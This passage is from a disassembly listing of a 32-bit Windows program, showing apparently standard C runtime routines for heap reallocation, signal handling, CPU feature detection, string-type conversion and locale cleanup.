loc_417DB8 mov eax, [ebp+arg_8] cmp eax, edi jz loc_417DA1 mov dword ptr [eax], 0Ch jmp loc_417DA1 sub_417D65 endp ; =============== S U B R O U T I N E ======================================= sub_417E5C proc near ; DATA XREF: .vty:0041FD30o xor edi, edi mov esi, [ebp+0Ch] sub_417E5C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417E61 proc near ; CODE XREF: sub_417D65+98p push 4 call sub_416CCE pop ecx retn sub_417E61 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_417D65 loc_417E6A: ; CODE XREF: sub_417D65+D0j cmp ebx, edi jnz short loc_417E7B mov eax, [ebp+arg_8] cmp eax, edi jz short loc_417E7B mov dword ptr [eax], 0Ch loc_417E7B: ; CODE XREF: sub_417D65+B3j ; sub_417D65+C8j ... mov eax, ebx loc_417E7D: ; CODE XREF: sub_417D65+3Ej call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_417D65 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E83 proc near ; CODE XREF: sub_4123AB+Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00417FD0 SIZE 000000CE BYTES push 10h push offset dword_41FD38 call __SEH_prolog4 mov ebx, [ebp+arg_0] test ebx, ebx jnz short loc_417EA4 push [ebp+arg_4] call sub_411069 pop ecx jmp loc_418070 ; --------------------------------------------------------------------------- loc_417EA4: ; CODE XREF: sub_417E83+11j mov esi, [ebp+arg_4] test esi, esi jnz short loc_417EB7 push ebx call sub_41112C pop ecx jmp loc_41806E ; --------------------------------------------------------------------------- loc_417EB7: ; CODE XREF: sub_417E83+26j cmp dword_424EC4, 3 jnz loc_418057 loc_417EC4: ; CODE XREF: sub_417E83+169j xor edi, edi mov [ebp+var_1C], edi cmp esi, 0FFFFFFE0h ja loc_41805C push 4 call sub_416DA6 pop ecx mov [ebp+ms_exc.disabled], edi push ebx call sub_416E1F pop ecx mov [ebp+var_20], eax cmp eax, edi jz loc_417F8D cmp esi, dword_424EB4 ja short loc_417F40 push esi push ebx push eax call sub_417314 add esp, 0Ch test eax, eax jz short loc_417F0B mov [ebp+var_1C], ebx jmp short loc_417F40 ; --------------------------------------------------------------------------- loc_417F0B: ; CODE XREF: sub_417E83+81j push esi call sub_4175F3 pop ecx mov [ebp+var_1C], eax cmp eax, edi jz short loc_417F40 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_417F23 mov eax, esi loc_417F23: ; CODE XREF: sub_417E83+9Cj push eax push ebx push [ebp+var_1C] call sub_410050 push ebx call sub_416E1F mov [ebp+var_20], eax push ebx push eax call sub_416E4A add esp, 18h loc_417F40: ; CODE XREF: sub_417E83+72j ; sub_417E83+86j ... cmp [ebp+var_1C], edi jnz short loc_417F8D cmp esi, edi jnz short loc_417F4F xor esi, esi inc esi mov [ebp+arg_4], esi loc_417F4F: ; CODE XREF: sub_417E83+C4j add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push edi push dword_42487C call dword_41C130 ; RtlAllocateHeap mov [ebp+var_1C], eax cmp eax, edi jz short loc_417F8D mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_417F77 mov eax, esi loc_417F77: ; CODE XREF: sub_417E83+F0j push eax push ebx push [ebp+var_1C] call sub_410050 push ebx push [ebp+var_20] call sub_416E4A add esp, 14h loc_417F8D: ; CODE XREF: sub_417E83+66j ; sub_417E83+C0j ... mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_417FC7 cmp [ebp+var_20], 0 jnz short loc_417FD0 test esi, esi jnz short loc_417FA4 inc esi loc_417FA4: ; CODE XREF: sub_417E83+11Ej add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push ebx push 0 push dword_42487C call dword_41C04C ; RtlReAllocateHeap mov edi, eax jmp short loc_417FD3 sub_417E83 endp ; =============== S U B R O U T I N E ======================================= sub_417FC1 proc near ; DATA XREF: .vty:0041FD50o mov esi, [ebp+0Ch] mov ebx, [ebp+8] sub_417FC1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417FC7 proc near ; CODE XREF: sub_417E83+111p push 4 call sub_416CCE pop ecx retn sub_417FC7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_417E83 loc_417FD0: ; CODE XREF: sub_417E83+11Aj mov edi, [ebp+var_1C] loc_417FD3: ; CODE XREF: sub_417E83+13Cj test edi, edi jnz loc_41809A cmp dword_424D0C, edi jz short loc_41800F push esi call sub_412B12 pop ecx test eax, eax jnz loc_417EC4 call sub_40F79E cmp [ebp+var_20], edi jnz short loc_418068 loc_417FFC: ; CODE XREF: sub_417E83+1F8j mov esi, eax call dword_41C0A4 ; RtlGetLastWin32Error push eax call sub_40F763 pop ecx mov [esi], eax jmp short loc_41806E ; --------------------------------------------------------------------------- loc_41800F: ; CODE XREF: sub_417E83+15Ej test edi, edi jnz loc_41809A call sub_40F79E cmp [ebp+var_20], edi jz short loc_418089 mov dword ptr [eax], 0Ch jmp short loc_41809A ; --------------------------------------------------------------------------- loc_418029: ; CODE XREF: sub_417E83+1D7j test esi, esi jnz short loc_41802E inc esi loc_41802E: ; CODE XREF: sub_417E83+1A8j push esi push ebx push 0 push dword_42487C call dword_41C04C ; RtlReAllocateHeap mov edi, eax test edi, edi jnz short loc_41809A cmp dword_424D0C, eax jz short loc_418080 push esi call sub_412B12 pop ecx test eax, eax jz short loc_418076 loc_418057: ; CODE XREF: sub_417E83+3Bj cmp esi, 0FFFFFFE0h jbe short loc_418029 loc_41805C: ; CODE XREF: sub_417E83+49j push esi call sub_412B12 pop ecx call sub_40F79E loc_418068: ; CODE XREF: sub_417E83+177j mov dword ptr [eax], 0Ch loc_41806E: ; CODE XREF: sub_417E83+2Fj ; sub_417E83+18Aj xor eax, eax loc_418070: ; CODE XREF: sub_417E83+1Cj ; sub_417E83+219j call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_418076: ; CODE XREF: sub_417E83+1D2j call sub_40F79E jmp loc_417FFC ; --------------------------------------------------------------------------- loc_418080: ; CODE XREF: sub_417E83+1C7j test edi, edi jnz short loc_41809A call sub_40F79E loc_418089: ; CODE XREF: sub_417E83+19Cj mov esi, eax call dword_41C0A4 ; RtlGetLastWin32Error push eax call sub_40F763 mov [esi], eax pop ecx loc_41809A: ; CODE XREF: sub_417E83+152j ; sub_417E83+18Ej ... mov eax, edi jmp short loc_418070 ; END OF FUNCTION CHUNK FOR sub_417E83 ; =============== S U B R O U T I N E ======================================= sub_41809E proc near ; CODE XREF: sub_412755+27p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_424D14, eax mov dword_424D18, eax mov dword_424D1C, eax mov dword_424D20, eax retn sub_41809E endp ; =============== S U B R O U T I N E ======================================= sub_4180B7 proc near ; CODE XREF: sub_4180F8+5Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, dword_423C64 push esi loc_4180C2: ; CODE XREF: sub_4180B7+1Ej cmp [eax+4], edx jz short loc_4180D7 mov esi, ecx imul esi, 0Ch add esi, [esp+4+arg_0] add eax, 0Ch cmp eax, esi jb short loc_4180C2 loc_4180D7: ; CODE XREF: sub_4180B7+Ej imul ecx, 0Ch add ecx, [esp+4+arg_0] pop esi cmp eax, ecx jnb short loc_4180E8 cmp [eax+4], edx jz short locret_4180EA loc_4180E8: ; CODE XREF: sub_4180B7+2Aj xor eax, eax locret_4180EA: ; CODE XREF: sub_4180B7+2Fj retn sub_4180B7 endp ; =============== S U B R O U T I N E ======================================= sub_4180EB proc near ; CODE XREF: sub_41411B:loc_414148p push dword_424D1C call sub_411DBF pop ecx retn sub_4180EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180F8 proc near ; CODE XREF: sub_41411B+38p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004182A2 SIZE 00000006 BYTES push 20h push offset dword_41FD58 call __SEH_prolog4 xor edi, edi mov [ebp+var_1C], edi mov [ebp+var_28], edi mov ebx, [ebp+arg_0] cmp ebx, 0Bh jg short loc_418160 jz short loc_41812B mov eax, ebx push 2 pop ecx sub eax, ecx jz short loc_418141 sub eax, ecx jz short loc_41812B sub eax, ecx jz short loc_41818B sub eax, ecx jnz short loc_41816F loc_41812B: ; CODE XREF: sub_4180F8+1Cj ; sub_4180F8+29j call sub_411F7A mov edi, eax mov [ebp+var_28], edi test edi, edi jnz short loc_41814D loc_418139: ; CODE XREF: sub_4180F8+91j or eax, 0FFFFFFFFh jmp loc_4182A2 ; --------------------------------------------------------------------------- loc_418141: ; CODE XREF: sub_4180F8+25j mov esi, offset dword_424D14 mov eax, dword_424D14 jmp short loc_4181AD ; --------------------------------------------------------------------------- loc_41814D: ; CODE XREF: sub_4180F8+3Fj push dword ptr [edi+5Ch] mov edx, ebx call sub_4180B7 mov esi, eax add esi, 8 mov eax, [esi] jmp short loc_4181BA ; --------------------------------------------------------------------------- loc_418160: ; CODE XREF: sub_4180F8+1Aj mov eax, ebx sub eax, 0Fh jz short loc_4181A3 sub eax, 6 jz short loc_418197 dec eax jz short loc_41818B loc_41816F: ; CODE XREF: sub_4180F8+31j call sub_40F79E mov dword ptr [eax], 16h xor eax, eax push eax push eax push eax push eax push eax call sub_40DCD8 add esp, 14h jmp short loc_418139 ; --------------------------------------------------------------------------- loc_41818B: ; CODE XREF: sub_4180F8+2Dj ; sub_4180F8+75j mov esi, offset dword_424D1C mov eax, dword_424D1C jmp short loc_4181AD ; --------------------------------------------------------------------------- loc_418197: ; CODE XREF: sub_4180F8+72j mov esi, offset dword_424D18 mov eax, dword_424D18 jmp short loc_4181AD ; --------------------------------------------------------------------------- loc_4181A3: ; CODE XREF: sub_4180F8+6Dj mov esi, offset dword_424D20 mov eax, dword_424D20 loc_4181AD: ; CODE XREF: sub_4180F8+53j ; sub_4180F8+9Dj ... mov [ebp+var_1C], 1 push eax call sub_411DBF loc_4181BA: ; CODE XREF: sub_4180F8+66j mov [ebp+var_20], eax pop ecx xor eax, eax cmp [ebp+var_20], 1 jz loc_4182A2 cmp [ebp+var_20], eax jnz short loc_4181D6 push 3 call sub_412726 loc_4181D6: ; CODE XREF: sub_4180F8+D5j cmp [ebp+var_1C], eax jz short loc_4181E2 push eax call sub_416DA6 pop ecx loc_4181E2: ; CODE XREF: sub_4180F8+E1j xor eax, eax mov [ebp+ms_exc.disabled], eax cmp ebx, 8 jz short loc_4181F6 cmp ebx, 0Bh jz short loc_4181F6 cmp ebx, 4 jnz short loc_418211 loc_4181F6: ; CODE XREF: sub_4180F8+F2j ; sub_4180F8+F7j mov ecx, [edi+60h] mov [ebp+var_2C], ecx mov [edi+60h], eax cmp ebx, 8 jnz short loc_418244 mov ecx, [edi+64h] mov [ebp+var_30], ecx mov dword ptr [edi+64h], 8Ch loc_418211: ; CODE XREF: sub_4180F8+FCj cmp ebx, 8 jnz short loc_418244 mov ecx, dword_423C58 mov [ebp+var_24], ecx loc_41821F: ; CODE XREF: sub_4180F8+14Aj mov ecx, dword_423C5C mov edx, dword_423C58 add ecx, edx cmp [ebp+var_24], ecx jge short loc_41824B mov ecx, [ebp+var_24] imul ecx, 0Ch mov edx, [edi+5Ch] mov [ecx+edx+8], eax inc [ebp+var_24] jmp short loc_41821F ; --------------------------------------------------------------------------- loc_418244: ; CODE XREF: sub_4180F8+10Aj ; sub_4180F8+11Cj call sub_411DB6 mov [esi], eax loc_41824B: ; CODE XREF: sub_4180F8+138j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_41826C cmp ebx, 8 jnz short sub_41827B push dword ptr [edi+64h] push ebx call [ebp+var_20] pop ecx jmp short loc_41827F sub_4180F8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_418266 proc near ; DATA XREF: .vty:0041FD70o mov ebx, [ebp+8] mov edi, [ebp-28h] sub_418266 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41826C proc near ; CODE XREF: sub_4180F8+15Ap cmp dword ptr [ebp-1Ch], 0 jz short locret_41827A push 0 call sub_416CCE pop ecx locret_41827A: ; CODE XREF: sub_41826C+4j retn sub_41826C endp ; =============== S U B R O U T I N E ======================================= sub_41827B proc near ; CODE XREF: sub_4180F8+162j push ebx call dword ptr [ebp-20h] loc_41827F: ; CODE XREF: sub_4180F8+16Cj pop ecx cmp ebx, 8 jz short loc_41828F cmp ebx, 0Bh jz short loc_41828F cmp ebx, 4 jnz short loc_4182A0 loc_41828F: ; CODE XREF: sub_41827B+8j ; sub_41827B+Dj mov eax, [ebp-2Ch] mov [edi+60h], eax cmp ebx, 8 jnz short loc_4182A0 mov eax, [ebp-30h] mov [edi+64h], eax loc_4182A0: ; CODE XREF: sub_41827B+12j ; sub_41827B+1Dj xor eax, eax sub_41827B endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4180F8 loc_4182A2: ; CODE XREF: sub_4180F8+44j ; sub_4180F8+CCj call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_4180F8 ; =============== S U B R O U T I N E ======================================= sub_4182A8 proc near ; CODE XREF: sub_412755+21p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_424D28, eax retn sub_4182A8 endp ; =============== S U B R O U T I N E ======================================= sub_4182B2 proc near ; CODE XREF: sub_412755+Fp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_424D2C, eax retn sub_4182B2 endp ; =============== S U B R O U T I N E ======================================= sub_4182BC proc near ; DATA XREF: sub_4182CC:loc_418331o arg_0 = dword ptr 4 push [esp+arg_0] call dword_41C068 ; InitializeCriticalSection xor eax, eax inc eax retn 8 sub_4182BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182CC proc near ; CODE XREF: sub_413E9F+B5p ; sub_41593C+15Fp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 14h push offset dword_41FD78 call __SEH_prolog4 xor edi, edi mov [ebp+var_1C], edi push dword_424D2C call sub_411DBF pop ecx mov esi, eax cmp esi, edi jnz short loc_418342 lea eax, [ebp+var_1C] push eax call sub_412542 pop ecx cmp eax, edi jz short loc_41830A push edi push edi push edi push edi push edi call sub_40DBDC add esp, 14h loc_41830A: ; CODE XREF: sub_4182CC+2Fj cmp [ebp+var_1C], 1 jz short loc_418331 push offset aKernel32_dll ; "kernel32.dll" call dword_41C0C4 ; GetModuleHandleA cmp eax, edi jz short loc_418331 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push eax call dword_41C0AC ; GetProcAddress mov esi, eax cmp esi, edi jnz short loc_418336 loc_418331: ; CODE XREF: sub_4182CC+42j ; sub_4182CC+51j mov esi, offset sub_4182BC loc_418336: ; CODE XREF: sub_4182CC+63j push esi call sub_411D53 pop ecx mov dword_424D2C, eax loc_418342: ; CODE XREF: sub_4182CC+21j mov [ebp+ms_exc.disabled], edi push [ebp+arg_4] push [ebp+arg_0] call esi mov [ebp+var_20], eax jmp short loc_418381 ; --------------------------------------------------------------------------- mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] mov [ebp+var_24], eax xor ecx, ecx cmp eax, 0C0000017h setz cl mov eax, ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] cmp [ebp+var_24], 0C0000017h jnz short loc_41837D push 8 call dword_41C154 ; RtlSetLastWin32Error loc_41837D: ; CODE XREF: sub_4182CC+A7j and [ebp+var_20], 0 loc_418381: ; CODE XREF: sub_4182CC+84j mov [ebp+ms_exc.disabled], 0FFFFFFFEh mov eax, [ebp+var_20] call __SEH_epilog4 retn sub_4182CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418391 proc near ; CODE XREF: sub_4183E1+4Dp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset dword_41FD98 call __SEH_prolog4 and [ebp+ms_exc.disabled], 0 movapd xmm0, xmm1 mov [ebp+var_1C], 1 jmp short loc_4183D1 ; --------------------------------------------------------------------------- mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] cmp eax, 0C0000005h jz short loc_4183C6 cmp eax, 0C000001Dh jz short loc_4183C6 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4183C6: ; CODE XREF: sub_418391+29j ; sub_418391+30j xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] and [ebp+var_1C], 0 loc_4183D1: ; CODE XREF: sub_418391+1Bj mov [ebp+ms_exc.disabled], 0FFFFFFFEh mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_418391 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4183E1 proc near ; CODE XREF: sub_412A84+7p sub_418441p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h xor eax, eax push ebx mov [ebp+var_4], eax mov [ebp+var_C], eax mov [ebp+var_8], eax push ebx pushf pop eax mov ecx, eax xor eax, 200000h push eax popf pushf pop edx sub edx, ecx jz short loc_418424 push ecx popf xor eax, eax cpuid mov [ebp+var_C], eax mov [ebp+var_18], ebx mov [ebp+var_14], edx mov [ebp+var_10], ecx mov eax, 1 cpuid mov [ebp+var_4], edx mov [ebp+var_8], eax loc_418424: ; CODE XREF: sub_4183E1+22j pop ebx test [ebp+var_4], 4000000h jz short loc_41843C call sub_418391 test eax, eax jz short loc_41843C xor eax, eax inc eax jmp short loc_41843E ; --------------------------------------------------------------------------- loc_41843C: ; CODE XREF: sub_4183E1+4Bj ; sub_4183E1+54j xor eax, eax loc_41843E: ; CODE XREF: sub_4183E1+59j pop ebx leave retn sub_4183E1 endp ; =============== S U B R O U T I N E ======================================= sub_418441 proc near ; DATA XREF: .vty:0041C23Co call sub_4183E1 mov dword_426008, eax xor eax, eax retn sub_418441 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41844E proc near ; CODE XREF: sub_418606+29p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push ecx push ecx mov eax, dword_4231C4 xor eax, ebp mov [ebp+var_4], eax mov eax, dword_424D6C push ebx push esi xor ebx, ebx cmp eax, ebx push edi mov edi, ecx jnz short loc_4184A7 lea eax, [ebp+var_8] push eax xor esi, esi inc esi push esi push offset dword_41C81C push esi call dword_41C03C ; GetStringTypeW test eax, eax jz short loc_41848D mov dword_424D6C, esi jmp short loc_4184C1 ; --------------------------------------------------------------------------- loc_41848D: ; CODE XREF: sub_41844E+35j call dword_41C0A4 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_4184A2 push 2 pop eax mov dword_424D6C, eax jmp short loc_4184A7 ; --------------------------------------------------------------------------- loc_4184A2: ; CODE XREF: sub_41844E+48j mov eax, dword_424D6C loc_4184A7: ; CODE XREF: sub_41844E+1Dj ; sub_41844E+52j cmp eax, 2 jz loc_41857F cmp eax, ebx jz loc_41857F cmp eax, 1 jnz loc_4185A9 loc_4184C1: ; CODE XREF: sub_41844E+3Dj cmp [ebp+arg_10], ebx mov [ebp+var_8], ebx jnz short loc_4184D1 mov eax, [edi] mov eax, [eax+4] mov [ebp+arg_10], eax loc_4184D1: ; CODE XREF: sub_41844E+79j mov esi, dword_41C174 xor eax, eax cmp [ebp+arg_18], ebx push ebx push ebx push [ebp+arg_8] setnz al push [ebp+arg_4] lea eax, ds:1[eax*8] push eax push [ebp+arg_10] call esi ; MultiByteToWideChar mov edi, eax cmp edi, ebx jz loc_4185A9 jle short loc_41853C cmp edi, 7FFFFFF0h ja short loc_41853C lea eax, [edi+edi+8] cmp eax, 400h ja short loc_418526 call sub_418C60 mov eax, esp cmp eax, ebx jz short loc_41853A mov dword ptr [eax], 0CCCCh jmp short loc_418537 ; --------------------------------------------------------------------------- loc_418526: ; CODE XREF: sub_41844E+C3j push eax call sub_411069 cmp eax, ebx pop ecx jz short loc_41853A mov dword ptr [eax], 0DDDDh loc_418537: ; CODE XREF: sub_41844E+D6j add eax, 8 loc_41853A: ; CODE XREF: sub_41844E+CEj ; sub_41844E+E1j mov ebx, eax loc_41853C: ; CODE XREF: sub_41844E+B0j ; sub_41844E+B8j test ebx, ebx jz short loc_4185A9 lea eax, [edi+edi] push eax push 0 push ebx call sub_40DD10 add esp, 0Ch push edi push ebx push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call esi ; MultiByteToWideChar test eax, eax jz short loc_418573 push [ebp+arg_C] push eax push ebx push [ebp+arg_0] call dword_41C03C ; GetStringTypeW mov [ebp+var_8], eax loc_418573: ; CODE XREF: sub_41844E+112j push ebx call sub_413588 mov eax, [ebp+var_8] pop ecx jmp short loc_4185F4 ; --------------------------------------------------------------------------- loc_41857F: ; CODE XREF: sub_41844E+5Cj ; sub_41844E+64j xor esi, esi cmp [ebp+arg_14], ebx jnz short loc_41858E mov eax, [edi] mov eax, [eax+14h] mov [ebp+arg_14], eax loc_41858E: ; CODE XREF: sub_41844E+136j cmp [ebp+arg_10], ebx jnz short loc_41859B mov eax, [edi] mov eax, [eax+4] mov [ebp+arg_10], eax loc_41859B: ; CODE XREF: sub_41844E+143j push [ebp+arg_14] call sub_418A60 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4185AD loc_4185A9: ; CODE XREF: sub_41844E+6Dj ; sub_41844E+AAj ... xor eax, eax jmp short loc_4185F4 ; --------------------------------------------------------------------------- loc_4185AD: ; CODE XREF: sub_41844E+159j cmp eax, [ebp+arg_10] jz short loc_4185D0 push ebx push ebx lea ecx, [ebp+arg_8] push ecx push [ebp+arg_4] push eax push [ebp+arg_10] call sub_418AA7 mov esi, eax add esp, 18h cmp esi, ebx jz short loc_4185A9 mov [ebp+arg_4], esi loc_4185D0: ; CODE XREF: sub_41844E+162j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push [ebp+arg_14] call dword_41C040 ; GetStringTypeA cmp esi, ebx mov edi, eax jz short loc_4185F2 push esi call sub_41112C pop ecx loc_4185F2: ; CODE XREF: sub_41844E+19Bj mov eax, edi loc_4185F4: ; CODE XREF: sub_41844E+12Fj ; sub_41844E+15Dj lea esp, [ebp-14h] pop edi pop esi pop ebx mov ecx, [ebp+var_4] xor ecx, ebp call sub_410BCD leave retn sub_41844E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418606 proc near ; CODE XREF: sub_412C77+96p ; sub_4139CC+83p var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 10h push [ebp+arg_0] lea ecx, [ebp+var_10] call sub_40F7E2 push [ebp+arg_1C] lea ecx, [ebp+var_10] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] call sub_41844E add esp, 1Ch cmp [ebp+var_4], 0 jz short locret_418644 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_418644: ; CODE XREF: sub_418606+35j leave retn sub_418606 endp ; =============== S U B R O U T I N E ======================================= sub_418646 proc near ; CODE XREF: sub_413282+E9p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz loc_4187D4 push dword ptr [esi+4] call sub_41112C push dword ptr [esi+8] call sub_41112C push dword ptr [esi+0Ch] call sub_41112C push dword ptr [esi+10h] call sub_41112C push dword ptr [esi+14h] call sub_41112C push dword ptr [esi+18h] call sub_41112C push dword ptr [esi] call sub_41112C push dword ptr [esi+20h] call sub_41112C push dword ptr [esi+24h] call sub_41112C push dword ptr [esi+28h] call sub_41112C push dword ptr [esi+2Ch] call sub_41112C push dword ptr [esi+30h] call sub_41112C push dword ptr [esi+34h] call sub_41112C push dword ptr [esi+1Ch] call sub_41112C push dword ptr [esi+38h] call sub_41112C push dword ptr [esi+3Ch] call sub_41112C add esp, 40h push dword ptr [esi+40h] call sub_41112C push dword ptr [esi+44h] call sub_41112C push dword ptr [esi+48h] call sub_41112C push dword ptr [esi+4Ch] call sub_41112C push dword ptr [esi+50h] call sub_41112C push dword ptr [esi+54h] call sub_41112C push dword ptr [esi+58h] call sub_41112C push dword ptr [esi+5Ch] call sub_41112C push dword ptr [esi+60h] call sub_41112C push dword ptr [esi+64h] call sub_41112C push dword ptr [esi+68h] call sub_41112C push dword ptr [esi+6Ch] call sub_41112C push dword ptr [esi+70h] call sub_41112C push dword ptr [esi+74h] call sub_41112C push dword ptr [esi+78h] call sub_41112C push dword ptr [esi+7Ch] call sub_41112C add esp, 40h push dword ptr [esi+80h] call sub_41112C push dword ptr [esi+84h] call sub_41112C push dword ptr [esi+88h] call sub_41112C push dword ptr [esi+8Ch] call sub_41112C push dword ptr [esi+90h] call sub_41112C push dword ptr [esi+94h] call sub_41112C push dword ptr [esi+98h] call sub_41112C push dword ptr [esi+9Ch] call sub_41112C push dword ptr [esi+0A0h] call sub_41112C push dword ptr [esi+0A4h] call sub_41112C push dword ptr [esi+0A8h] call sub_41112C add esp, 2Ch loc_4187D4: ; CODE XREF: sub_418646+7j pop esi retn sub_418646 endp ; =============== S U B R O U T I N E ======================================= sub_4187D6 proc near ; CODE XREF: sub_413282+64p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_418814 mov eax, [esi] cmp eax, off_423ED8 jz short loc_4187F0 push eax call sub_41112C pop ecx loc_4187F0: ; CODE XREF: sub_4187D6+11j mov eax, [esi+4] cmp eax, off_423EDC jz short loc_418802 push eax call sub_41112C pop ecx loc_418802: ; CODE XREF: sub_4187D6+23j mov esi, [esi+8] cmp esi, off_423EE0 jz short loc_418814 push esi call sub_41112C pop ecx loc_418814: ; CODE XREF: sub_4187D6+7j ; sub_4187D6+35j pop esi retn sub_4187D6 endp ; =============== S U B R O U T I N E ======================================= sub_418816 proc near ; CODE XREF: sub_413282+43p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_41889D mov eax, [esi+0Ch] cmp eax, off_423EE4 jz short loc_418831 push eax call sub_41112C pop ecx loc_418831: ; CODE XREF: sub_418816+12j mov eax, [esi+10h] cmp eax, off_423EE8 jz short loc_418843 push eax call sub_41112C pop ecx loc_418843: ; CODE XREF: sub_418816+24j mov eax, [esi+14h] cmp eax, off_423EEC jz short loc_418855 push eax call sub_41112C pop ecx loc_418855: ; CODE XREF: sub_418816+36j mov eax, [esi+18h] cmp eax, off_423EF0 jz short loc_418867 push eax call sub_41112C pop ecx loc_418867: ; CODE XREF: sub_418816+48j mov eax, [esi+1Ch] cmp eax, off_423EF4 jz short loc_418879 push eax call sub_41112C pop ecx loc_418879: ; CODE XREF: sub_418816+5Aj mov eax, [esi+20h] cmp eax, off_423EF8 jz short loc_41888B push eax call sub_41112C pop ecx loc_41888B: ; CODE XREF: sub_418816+6Cj mov esi, [esi+24h] cmp esi, off_423EFC jz short loc_41889D push esi call sub_41112C pop ecx loc_41889D: ; CODE XREF: sub_418816+7j ; sub_418816+7Ej pop esi retn sub_418816 endp ; =============== S U B R O U T I N E ======================================= sub_41889F proc near ; CODE XREF: sub_41422C+117p ; sub_41422C+139p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx xor ebx, ebx cmp eax, ebx push esi push edi jz short loc_4188B4 mov edi, [esp+0Ch+arg_4] cmp edi, ebx ja short loc_4188CF loc_4188B4: ; CODE XREF: sub_41889F+Bj ; sub_41889F+3Aj call sub_40F79E push 16h pop esi mov [eax], esi loc_4188BE: ; CODE XREF: sub_41889F+69j push ebx push ebx push ebx push ebx push ebx call sub_40DCD8 add esp, 14h mov eax, esi jmp short loc_41890C ; --------------------------------------------------------------------------- loc_4188CF: ; CODE XREF: sub_41889F+13j mov esi, [esp+0Ch+arg_8] cmp esi, ebx jnz short loc_4188DB loc_4188D7: ; CODE XREF: sub_41889F+48j mov [eax], bl jmp short loc_4188B4 ; --------------------------------------------------------------------------- loc_4188DB: ; CODE XREF: sub_41889F+36j mov edx, eax loc_4188DD: ; CODE XREF: sub_41889F+44j cmp [edx], bl jz short loc_4188E5 inc edx dec edi jnz short loc_4188DD loc_4188E5: ; CODE XREF: sub_41889F+40j cmp edi, ebx jz short loc_4188D7 loc_4188E9: ; CODE XREF: sub_41889F+55j mov cl, [esi] mov [edx], cl inc edx inc esi cmp cl, bl jz short loc_4188F6 dec edi jnz short loc_4188E9 loc_4188F6: ; CODE XREF: sub_41889F+52j cmp edi, ebx jnz short loc_41890A mov [eax], bl call sub_40F79E push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_4188BE ; 